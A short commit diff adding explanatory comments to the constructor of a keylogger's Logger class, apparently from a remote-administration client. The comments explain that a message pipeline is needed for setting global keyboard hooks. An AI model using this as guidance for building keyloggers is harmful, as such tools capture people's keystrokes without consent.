Documentation for the Logger

Added a small amount of documentation for the Logger's constructor.

Client/Core/Keylogger/Logger.cs

@@ -50,6 +50,9 @@ namespace xClient.Core.Keylogger
             _timerFlush.Enabled = true;
             _timerFlush.Start();
 
+            // Initialize the application message pipeline.
+            // Necessary for setting global hooks because setting a global
+            // hook requires an established message pipeline for the thread.
             Application.Run();
         }